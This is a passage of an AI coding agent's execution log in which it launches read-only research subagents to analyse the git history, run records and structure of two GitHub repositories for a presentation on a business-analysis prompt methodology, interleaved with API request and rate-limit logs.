useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\"\n[2026-09-29T07:44:22.294Z] [INFO]     }\n[2026-09-29T07:44:22.294Z] [INFO]   }\n[2026-09-29T07:44:22.294Z] [INFO] }\n[2026-09-29T07:44:22.306Z] [INFO] \ud83e\udd16 Sub-agent call #1: \"Analyze mango_ba_prompts history\" (model: default)\n[2026-09-29T07:44:22.316Z] [INFO] {\n[2026-09-29T07:44:22.316Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"tasks\": [\n[2026-09-29T07:44:22.316Z] [INFO]     {\n[2026-09-29T07:44:22.316Z] [INFO]       \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.316Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:44:22.316Z] [INFO]       \"description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:22.316Z] [INFO]     }\n[2026-09-29T07:44:22.316Z] [INFO]   ],\n[2026-09-29T07:44:22.316Z] [INFO]   \"uuid\": \"379d41f5-3cb2-49a6-b33e-dc54cb219f5e\",\n[2026-09-29T07:44:22.316Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:22.316Z] [INFO] }\n[2026-09-29T07:44:22.324Z] [INFO] {\n[2026-09-29T07:44:22.324Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"is_backgrounded\": true,\n[2026-09-29T07:44:22.324Z] [INFO]   \"spawn_depth\": 1,\n[2026-09-29T07:44:22.324Z] [INFO]   \"task_type\": \"local_agent\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"uuid\": \"a417e3d6-fb81-4222-9fbe-42f9c4e9ec0b\",\n[2026-09-29T07:44:22.324Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:44:22.324Z] [INFO] }\n[2026-09-29T07:44:22.353Z] [INFO] {\n[2026-09-29T07:44:22.353Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"message\": {\n[2026-09-29T07:44:22.353Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"content\": [\n[2026-09-29T07:44:22.353Z] [INFO]       {\n[2026-09-29T07:44:22.353Z] [INFO]         \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:22.353Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:22.353Z] [INFO]         \"content\": [\n[2026-09-29T07:44:22.353Z] [INFO]           {\n[2026-09-29T07:44:22.353Z] [INFO]             \"type\": \"text\",\n[2026-09-29T07:44:22.353Z] [INFO]             \"text\": \"Async agent launched successfully. (This tool result is internal metadata \u2014 never quote or paste any part of it, including the agentId below, into a user-facing reply.)\\nagentId: aadf7f40500b72ce3 (internal ID - do not mention to user. Use SendMessage with to: 'aadf7f40500b72ce3', summary: '<5-10 word recap>' to continue this agent.)\\nThe agent is working in the background. You will be notified automatically when it completes. You know nothing about its results until that notification arrives \u2014 do not report, assume, or predict them; continue other work or respond to the user in the meantime.\\nDo not duplicate this agent's work \u2014 avoid working with the same files or topics it is using.\\noutput_file: /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\\nDo NOT Read or tail this file via the shell tool \u2014 it is the full subagent JSONL transcript and reading it will overflow your context. If the user asks for progress, say the agent is still running; you'll get a completion notification.\"\n[2026-09-29T07:44:22.353Z] [INFO]           }\n[2026-09-29T07:44:22.353Z] [INFO]         ]\n[2026-09-29T07:44:22.353Z] [INFO]       }\n[2026-09-29T07:44:22.353Z] [INFO]     ]\n[2026-09-29T07:44:22.353Z] [INFO]   },\n[2026-09-29T07:44:22.353Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:22.353Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"uuid\": \"de44b3bc-7541-4444-877a-2013710b1931\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:22.326Z\",\n[2026-09-29T07:44:22.353Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:22.353Z] [INFO]     \"isAsync\": true,\n[2026-09-29T07:44:22.353Z] [INFO]     \"status\": \"async_launched\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"agentId\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"description\": \"Analyze mango_ba_prompts history\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"resolvedModel\": \"claude-opus-5-5\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"prompt\": \"Research task (read-only; do NOT modify any files except writing your notes to /tmp/research-notes/mango_ba_prompts.md). The repository G-Ivan-A/mango_ba_prompts is cloned at /tmp/mango_ba_prompts (583 commits). I am preparing an executive presentation to the Head of AI development at Mango about a business-analysis (BA) meta-model, and I need verified facts about how this project evolved \\\"from chaotic prompt attempts to a systematic methodology\\\", based on 60+ recorded task runs.\\n\\nProduce a factual evidence report (in Russian or English, facts with exact file paths and, where useful, commit hashes/dates) covering:\\n1. Repository structure: what each top-level dir is (prompts, runs, kb, patterns, standards, ai-rules, site, tools, experiments, docs, pr-ops) \u2014 1-2 lines each.\\n2. Runs: exactly how many recorded runs exist in runs/ (count them precisely, explain how you counted), date range, what a run record contains (structure), and notable categories/types of tasks. Find any aggregated metrics (quality scores, defect counts, rework, time, pass/fail, token counts) \u2014 quote concrete numbers with paths.\\n3. Evolution timeline: using git log (dates, first commit, major phases), describe phases of evolution of prompts (e.g., monolithic prompts \u2192 structured prompts \u2192 skills/contracts/validators). Quote key commit messages and dates. Identify turning points (e.g., introduction of golden templates, validators, fail-closed checks, human gate, KB).\\n4. Key lessons/defects documented in the repo (post-mortems, forensics, retrospectives): concrete failure modes of direct LLM generation of BA artifacts (hallucinations, lost context, format drift, etc.) with quotes and paths.\\n5. Any artifacts describing the target pipeline: normalization of requests, reconciliation with docs/cases, generation from golden templates with source links, human gate, translation into contract/development format. Paths.\\n6. The runtime environments used (GigaCode, Cline, CLI, etc.) and any evidence of their use.\\nAlso give the GitHub absolute URL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/ (verify default branch name with git). Be precise; do not invent numbers \u2014 if something cannot be determined, say so. Write the full report to /tmp/research-notes/mango_ba_prompts.md (mkdir -p first) and return a concise summary (up to ~1500 words) with the most presentation-worthy facts and numbers.\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"outputFile\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\",\n[2026-09-29T07:44:22.353Z] [INFO]     \"canReadOutputFile\": true\n[2026-09-29T07:44:22.353Z] [INFO]   }\n[2026-09-29T07:44:22.353Z] [INFO] }\n[2026-09-29T07:44:22.392Z] [STDOUT] [log_0e596a] sending request {\n[2026-09-29T07:44:22.396Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:22.403Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:22.407Z] [STDOUT]   options: {\n[2026-09-29T07:44:22.409Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:22.414Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:22.421Z] [STDOUT]     body: {\n[2026-09-29T07:44:22.427Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:22.431Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:22.435Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:22.441Z] [STDOUT]       tools: [Array ...],\n[2026-09-29T07:44:22.445Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:22.449Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:22.454Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:22.457Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:22.461Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:22.465Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:22.471Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:22.474Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:22.479Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:22.484Z] [STDOUT]     },\n[2026-09-29T07:44:22.491Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:22.496Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:22.501Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:22.507Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:22.511Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:22.515Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:22.522Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:22.526Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:22.531Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:22.534Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:22.538Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:22.543Z] [STDOUT]     },\n[2026-09-29T07:44:22.549Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:22.552Z] [STDOUT]   },\n[2026-09-29T07:44:22.555Z] [STDOUT]   headers: {\n[2026-09-29T07:44:22.557Z] [STDOUT]     accept: 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\"application/json\",\n[2026-09-29T07:44:22.584Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:22.587Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:22.591Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:22.594Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:22.597Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:22.602Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:22.606Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:22.610Z] [STDOUT]     \"x-client-request-id\": \"ecf83821-b36d-421b-85c9-f29cc2fcb847\",\n[2026-09-29T07:44:22.613Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:22.617Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:22.621Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:22.624Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:22.628Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:22.633Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:22.636Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:22.638Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:22.643Z] [STDOUT]   },\n[2026-09-29T07:44:22.645Z] [STDOUT] }\n[2026-09-29T07:44:23.180Z] [STDOUT] [log_0e596a, request-id: \"req_011CfXMgACJTevrfJruS1ybi\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 790ms\n[2026-09-29T07:44:23.183Z] [STDOUT] [log_0e596a] response start {\n[2026-09-29T07:44:23.186Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:23.189Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:23.192Z] [STDOUT]   headers: {\n[2026-09-29T07:44:23.197Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:23.199Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:23.202Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:23.211Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:23.217Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:23.221Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:23.227Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:23.232Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:23.235Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:23.241Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": 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\"tool_result\",\n[2026-09-29T07:44:27.061Z] [INFO]         \"content\": \"* main\\n  remotes/origin/HEAD -> origin/main\\n  remotes/origin/gh-pages\\n  remotes/origin/main\\n  remotes/origin/revert-340-issue-339-c354031e9147\\n* remote origin\\n  Fetch URL: https://github.com/G-Ivan-A/mango_ba_prompts.git\\n  Push  URL: https://github.com/G-Ivan-A/mango_ba_prompts.git\\n  HEAD branch: main\\n  Remote branches:\\n583\\n53506bc 2026-06-02 Add files via upload\\n63f735e 2026-06-02 Initial commit with task details\\nd159ab2 2026-06-02 docs(audit): add bootstrap audit & migration RFC for mango_ba_prompts\\n43a1dcc 2026-06-02 Revert \\\"Initial commit with task details\\\"\\nffc305f 2026-06-02 Merge pull request #5 from konard/issue-4-36ceecd1f416\\n8d8a65c 2026-06-02 Initial commit with task details\\n0c10eda 2026-06-02 bootstrap: initialize repository structure with free improvements from teams C and Q\\n51c63a3 2026-06-02 Merge pull request #7 from konard/issue-6-b53e40bb481f\\neb6f388 2026-06-02 Initial commit with task details\\nc8dd431 2026-06-02 creative: propose migration strategy for Mango project from hub to spoke\\n4592401 2026-06-02 Merge pull request #9 from konard/issue-8-43f6d6ea3b62\\n9f9ad47 2026-06-02 Initial commit with task details\\naf1be93 2026-06-02 Merge pull request #11 from konard/issue-10-bc300e310466\\ne16620d 2026-06-02 refine: clarify Mango migration RFC phase 1\\naea0211 2026-06-02 Merge pull request #15 from konard/issue-10-bc300e310466\\n8b520ea 2026-06-03 Initial commit with task details\\n83360d5 2026-06-03 refine: complete migration-rfc with dependencies and workflow (part 2)\\n99be8c5 2026-06-03 Merge pull request #16 from konard/issue-12-58548950e08d\\n0b007fb 2026-06-03 Initial commit with task details\\n2cc8f87 2026-06-03 review: Human Review \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0433\u043e migration-strategy-rfc.md (issue #13)\\n317a0a1 2026-09-28 Merge pull request #366 from konard/issue-365-48d280e4928e\\ntotal 360\\ndrwxr-xr-x 18 box  box    4096 Sep 29 07:44 .\\ndrwxrwxrwt  1 root root   4096 Sep 29 07:44 ..\\ndrwxr-xr-x  3 box  box    4096 Sep 29 07:44 .archive\\ndrwxr-xr-x  8 box  box    4096 Sep 29 07:44 .git\\n-rw-r--r--  1 box  box     172 Sep 29 07:44 .gitattributes\\ndrwxr-xr-x  4 box  box    4096 Sep 29 07:44 .github\\n-rw-r--r--  1 box  box    1427 Sep 29 07:44 .gitignore\\n-rw-r--r--  1 box  box    9222 Sep 29 07:44 .hub-profile.json\\n-rw-r--r--  1 box  box  216647 Sep 29 07:44 CHANGELOG.md\\n-rw-r--r--  1 box  box    8595 Sep 29 07:44 CONTRIBUTING.md\\n-rw-r--r--  1 box  box    1070 Sep 29 07:44 LICENSE\\n-rw-r--r--  1 box  box    9975 Sep 29 07:44 Makefile\\n-rw-r--r--  1 box  box   23601 Sep 29 07:44 README.md\\ndrwxr-xr-x  2 box  box    4096 Sep 29 07:44 ai-governance\\ndrwxr-xr-x  2 box  box    4096 Sep 29 07:44 ai-rules\\ndrwxr-xr-x 13 box  box    4096 Sep 29 07:44 docs\\ndrwxr-xr-x 11 box  box    4096 Sep 29 07:44 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\"timestamp\": \"2026-09-29T07:44:27.055Z\",\n[2026-09-29T07:44:27.061Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:27.061Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:27.061Z] [INFO] }\n[2026-09-29T07:44:27.091Z] [STDOUT] [log_500c69] sending request {\n[2026-09-29T07:44:27.095Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:27.099Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:27.103Z] [STDOUT]   options: {\n[2026-09-29T07:44:27.105Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:27.108Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:27.112Z] [STDOUT]     body: {\n[2026-09-29T07:44:27.119Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:27.123Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:27.129Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:27.135Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:27.142Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:27.152Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:27.155Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:27.159Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:27.162Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:27.165Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:27.174Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:27.177Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:27.183Z] [STDOUT]     },\n[2026-09-29T07:44:27.187Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:27.193Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:27.197Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:44:27.201Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:27.204Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:27.208Z] [STDOUT]     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(external, sdk-cli)\",\n[2026-09-29T07:44:27.279Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:27.282Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:44:27.284Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:27.287Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1710\",\n[2026-09-29T07:44:27.291Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:27.293Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:27.299Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:27.303Z] [STDOUT]     \"x-client-request-id\": \"8e3bdcae-731a-4694-9bb8-8e8adb7235e4\",\n[2026-09-29T07:44:27.310Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:27.315Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:27.319Z] [STDOUT]     \"x-stainless-os\": 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response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:27.989Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:27 GMT\",\n[2026-09-29T07:44:27.991Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:27.994Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:27.996Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:28.001Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:28.005Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:28.009Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:28.012Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:28.015Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:28.018Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:28.021Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:28.024Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:28.028Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:28.035Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:28.039Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:28.045Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:28.048Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:28.056Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:28.060Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:28.066Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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}\n[2026-09-29T07:44:29.280Z] [INFO] {\n[2026-09-29T07:44:29.280Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:29.280Z] [INFO]   \"message\": {\n[2026-09-29T07:44:29.280Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"id\": \"msg_011CfXMfKMwHxkfowaZNkZ7Z\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:29.280Z] [INFO]     \"content\": [\n[2026-09-29T07:44:29.280Z] [INFO]       {\n[2026-09-29T07:44:29.280Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"name\": \"Agent\",\n[2026-09-29T07:44:29.280Z] [INFO]         \"input\": {\n[2026-09-29T07:44:29.280Z] [INFO]           \"description\": \"Analyze ba-requirements research\",\n[2026-09-29T07:44:29.280Z] [INFO]           \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:29.280Z] [INFO]           \"prompt\": \"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first). Repo at /tmp/gh-issue-solver-1790667776920 (hybrid-Intelligence-lab). Branch `origin/issue-639-405767e7672e` has been fetched; its research/ba-requirements/ dir (122 files) may differ from main. Use `git diff --stat main origin/issue-639-405767e7672e -- research/ba-requirements` to see what's new on that branch, and `git show origin/issue-639-405767e7672e:` to read files. Also read research/ba-requirements on the current checkout (main-based).\\n\\nI'm preparing an executive presentation to the Head of AI development at Mango about a BA (business-analysis) meta-model (Product \u2192 Process \u2192 Operation \u2192 Artifact) and its runtime environments. Extract verified, presentation-worthy facts from research/ba-requirements:\\n1. Empirical snapshots of Mango runs (e.g. 2026-08-25-mango-runs-empirical-snapshot.md, rrp-full-cycle-corpus-facts, artifact-structure-variance-facts): concrete numbers (number of runs, defect classes, variance, rework etc.) with file paths.\\n2. The hypothesis that cognitive operations are poorly suited to direct AI generation, and the solution of digitizing cognitive operations into strict prompts + machine-readable contracts with fail-closed validation: find where this is argued/evidenced.\\n3. Normalization, methodology-unification, orchestration, solution-modeling, artifact-micro-structure, artifact-rendering, feedback-and-evolution subdirs: 2-3 lines each of key conclusions.\\n4. GigaCode environment facts, skill granularity/format facts, process taxonomy defects.\\n5. What's new on branch issue-639 vs main (summarize key additions).\\nCite every fact with the repo path. Do not invent numbers. Absolute URL format for main: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/; for branch-only files: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-639-405767e7672e/. Write the full report to the notes file and return a concise summary (up to ~1500 words).\"\n[2026-09-29T07:44:29.280Z] [INFO]         },\n[2026-09-29T07:44:29.280Z] [INFO]         \"caller\": {\n[2026-09-29T07:44:29.280Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:44:29.280Z] [INFO]         }\n[2026-09-29T07:44:29.280Z] [INFO]       }\n[2026-09-29T07:44:29.280Z] [INFO]     ],\n[2026-09-29T07:44:29.280Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:29.280Z] [INFO]     